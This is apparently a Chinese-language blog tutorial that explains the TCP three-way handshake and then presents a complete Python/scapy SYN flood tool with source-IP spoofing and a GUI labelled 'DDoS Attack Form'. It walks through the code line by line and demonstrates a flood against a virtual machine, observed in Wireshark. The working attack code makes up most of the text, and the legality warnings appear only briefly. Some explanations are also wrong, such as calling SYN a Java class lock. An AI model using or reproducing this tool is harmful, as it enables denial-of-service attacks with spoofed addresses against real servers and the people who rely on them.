该项目是在帮助室友时,无意间找到的一个项目,主要原理是利用TCP三次握手的漏洞,攻击者(以下检查src)通过向指定IP发送SYN包而不发送ACK包,已达到服务端的资源占用问题。
注:未经允许的攻击都是违法的!!!!!!
什么是TCP的三次握手呢?
那我们就需要了解
在第一次发送时,客户端会发送一个SYN(建立连接)包,用于向服务器提出请求这是第一次握手,然后服务器返回SYN包加上自己的ACK(响应)包,表示接收的到并允许通信这是第二次握手,最后由客户端发送ACK包表示通信通道正常,可以连接。
TCP的种类(SYN,FIN,ACK,PSH,RST,URG):
这里只需要了解SYN和ACK即可
什么是SYN?
SYN的全称是SYNchronize,就是Java的那个类锁
SYN首先是一个数据包,其次他的作用是建立连接,内含有连接的信息。
它是TCP(传输控制协议)三次握手中的第一个步骤。在建立TCP连接时,客户端向服务器发送一个带有SYN标志的数据包,表明客户端希望建立连接并开始通信。服务器在接收到这个带有SYN标志的数据包后,会发送一个带有ACK(确认)和SYN标志的数据包作为回应,表示已收到客户端的请求并同意建立连接。最后,客户端再发送一个带有ACK标志的数据包,确认收到了服务器的回应。这三个步骤的完成确保了双方的通信能够正常开始。
那么什么是ACK呢?
ACK的全称是Acknowledgement
表示确认。在计算机通信中,ACK 是一种信号,用于表示已成功接收到数据包或消息。
在了解了SYN和ACK后,返回去看这个泛洪攻击,不难看出,如果我们在收到服务端的SYN和ACK后,人为的不去返回一个ACK,那么服务端可能以为我们没有收到,然后反复的发(发的次数取决于服务端,但也不是无脑传,和TCP的超时重传机制有关,在这就不细说了)。这样就可以让服务端的资源得到占用,以达到无法正常访问的问题。
那么在了解原理后我们就可以使用Python去模拟了。这里我直接贴代码了。
Python实现SYN Flood
import tkinter as tk
from scapy.all import *
import time
from scapy.layers.inet import TCP, IP
target_entry = None
port_entry = None
spoof_entry = None
def synFlood(tgt, dPort, spoof_ips):
srcList = spoof_ips.split()
for sPort in range(1024, 65535):
for index, spoof_ip in enumerate(srcList):
ipLayer = IP(src=spoof_ip, dst=tgt) # 伪造IP层
tcpLayer = TCP(sport=sPort, dport=dPort, flags="S") # 伪造TCP层 SYN(IP/TCP)的标志符
packet = ipLayer / tcpLayer
send(packet)
# 攻击频率
time.sleep(0.1) # 降低攻击频率,避免发送过快
def attack_target():
global target_entry, port_entry, spoof_entry
target_address = target_entry.get()
dPort = int(port_entry.get())
spoof_ips = spoof_entry.get()
synFlood(target_address, dPort, spoof_ips)
def create_attack_window():
global target_entry, port_entry, spoof_entry
root = tk.Tk()
root.title("DDoS Attack Form")
root.geometry("700x200")
# 创建目标地址表单
tk.Label(root, text="目标IP:", font=("Helvetica", 12)).grid(row=0, column=0)
target_entry = tk.Entry(root, font=("Helvetica", 12), width=30)
target_entry.grid(row=0, column=1)
# 创建目标端口表单
tk.Label(root, text="目标端口 (默认 80):", font=("Helvetica", 12)).grid(row=1, column=0)
port_entry = tk.Entry(root, font=("Helvetica", 12), width=10)
port_entry.insert(tk.END, "80") # 默认端口为80
port_entry.grid(row=1, column=1)
# 创建伪造IP地址表单
tk.Label(root, text="伪造IP (多个IP以空格分离):", font=("Helvetica", 12)).grid(row=2, column=0)
spoof_entry = tk.Entry(root, font=("Helvetica", 12), width=30)
spoof_entry.grid(row=2, column=1)
# 创建提交按钮
submit_button = tk.Button(root, text="Attract", font=("Helvetica", 12), command=attack_target)
submit_button.grid(row=3, columnspan=2)
# 运行窗口
root.mainloop()
def main():
create_attack_window()
if __name__ == "__main__":
main()
所需包:
第一个就是我们对网路处理的包:scapy ---> 处理网络数据包
第二个就是我们的窗口包:tkinter ---> 用于用户直观输入
第三个是我们的时间类:time ---> 用于限制发送频率的
方法解析:
对于第一个方法:synFlood(tgt, dPort, spoof_ips)
tgt:目标主机
dPort:目标端口
spoof_ips:伪造IP(可以不是攻击者IP)
这个方法是主要的整个的攻击方式
def synFlood(tgt, dPort, spoof_ips):
srcList = spoof_ips.split()
for sPort in range(1024, 65535):
for index, spoof_ip in enumerate(srcList):
ipLayer = IP(src=spoof_ip, dst=tgt) # 伪造IP层
tcpLayer = TCP(sport=sPort, dport=dPort, flags="S") # 伪造TCP层 SYN(IP/TCP)的标志符
packet = ipLayer / tcpLayer
send(packet)
# 攻击频率
time.sleep(0.1) # 降低攻击频率,避免发送过快
首先我们拿到传来的spoof_ips是一个字符串,可能是"1.2.3.4 3.2.1.4 5.6.7.8"这种以空格分开的字符串,我们需要将其以空格分隔起来,并存到srcList中。此时srcList = [1.2.3.4,3.2.1.4,5.6.7.8].
srcList = spoof_ips.split()
然后我们需要确定src的端口,因为端口是在1024 - 65535的范围中,所以可以直接循环设定
for sPort in range(1024, 65535):
接下来,我们对指定过端口的srcIP进行TCP、IP的封装操作,在封装的过程中传入对应的端口,指定类型,并将其进行发送
ipLayer = IP(src=spoof_ip, dst=tgt) # 伪造IP层
tcpLayer = TCP(sport=sPort, dport=dPort, flags="S") # 伪造TCP层 SYN(IP/TCP)的标志符
packet = ipLayer / tcpLayer
send(packet)
对于第二个方法:attack_target()
def attack_target():
global target_entry, port_entry, spoof_entry
target_address = target_entry.get()
dPort = int(port_entry.get())
spoof_ips = spoof_entry.get()
synFlood(target_address, dPort, spoof_ips)
在这里,首先定义了三个全局变量,用于接收用户输入的 目标IP(target_entry),目标端口(port_entry)以及伪造IP(spoof_entry)通过对应的get方法去获取到对应的值,并将其传入到我们的上一个方法中。
对于第三个方法:create_attack_window()
这个方法主要是,创建框框,让用户输入的
def create_attack_window():
global target_entry, port_entry, spoof_entry
root = tk.Tk()
root.title("DDoS Attack Form")
root.geometry("700x200")
# 创建目标地址表单
tk.Label(root, text="目标IP:", font=("Helvetica", 12)).grid(row=0, column=0)
target_entry = tk.Entry(root, font=("Helvetica", 12), width=30)
target_entry.grid(row=0, column=1)
# 创建目标端口表单
tk.Label(root, text="目标端口 (默认 80):", font=("Helvetica", 12)).grid(row=1, column=0)
port_entry = tk.Entry(root, font=("Helvetica", 12), width=10)
port_entry.insert(tk.END, "80") # 默认端口为80
port_entry.grid(row=1, column=1)
# 创建伪造IP地址表单
tk.Label(root, text="伪造IP (多个IP以空格分离):", font=("Helvetica", 12)).grid(row=2, column=0)
spoof_entry = tk.Entry(root, font=("Helvetica", 12), width=30)
spoof_entry.grid(row=2, column=1)
# 创建提交按钮
submit_button = tk.Button(root, text="Attract", font=("Helvetica", 12), command=attack_target)
submit_button.grid(row=3, columnspan=2)
# 运行窗口
root.mainloop()
第一步:创建一个窗口实例root,用于向里面塞东西。
root = tk.Tk()
第二步:设置窗口的名字,并且设置框框大小
root.title("DDoS Attack Form")
root.geometry("700x200")
第三步:开始创建用户需要输入的三个文本框
对于第一个目标地址文本框:
# 创建目标地址表单
tk.Label(root, text="目标IP:", font=("Helvetica", 12)).grid(row=0, column=0)
target_entry = tk.Entry(root, font=("Helvetica", 12), width=30)
target_entry.grid(row=0, column=1)
第一小部分:
tk.Label(root, text="目标IP:", font=("Helvetica", 12)).grid(row=0, column=0)
这里用tk的Label来创建文本框,将其绑定到父级窗口root中,设置标签显示文本“目标IP”,设置字体为Helvetica 大小为12 ,使用布局管理器将其放在第0行第0列上面。
第二小部分:
target_entry = tk.Entry(root, font=("Helvetica", 12), width=30)
这里使用的Entry去赋予框框可以输入的属性,并且将其挂载到root下。设置最大范围到30的字符宽度。
第三小部分:
target_entry.grid(row=0, column=1)
将这个输入框放到右上角即可
对于第二个目标端口文本框:
与上述相似,只有一处不同,就是默认给了一个端口80,因为大多数服务器都是80端口对外开放的。
port_entry.insert(tk.END, "80") # 默认端口为80
这里使用了insert去在指定位置插入文本这里的 tk.END 意味着在当前文本框中的最后一个位置插入,而 "80" 则是要插入的文本内容,即默认的端口号。
对于第三个伪造IP文本框:
与第一个一样,就不赘述了。
第四步:设置提交按钮,当点击时执行对应的方法
# 创建提交按钮
submit_button = tk.Button(root, text="Attract", font=("Helvetica", 12), command=attack_target)
submit_button.grid(row=3, columnspan=2)
第一行的后面用到了一个command属性,当用户点击这个按钮的时候,程序就会将表单中的数据提交到attack_target这个方法里面。实现数据的传输。
最后:将所用通过main来调用即可
def main():
create_attack_window()
if __name__ == "__main__":
main()
理论实践:
这里我们用wireshark去监听对应IP的网络波动。
wireshark官网:https://www.wireshark.org/
这里我们用本机和虚拟机进行交互,验证是否有用。
注:未经允许的攻击都是犯法的!!!
伪造IP(1.1.1.1)
虚拟机IP(10.10.10.17)
开启监听,我们直接运行Python脚本,发起泛洪攻击。
观察wireshark回显。
其中显示src全部来源于我们的伪造IP(1.1.1.1)且都为SYN包。
至此:用Python去SYN Flood(泛洪攻击)就算成功了!!!!!!
参考:
https://blog.csdn.net/xsjzn/article/details/116144781
https://blog.csdn.net/lqglqglqg/article/details/48714611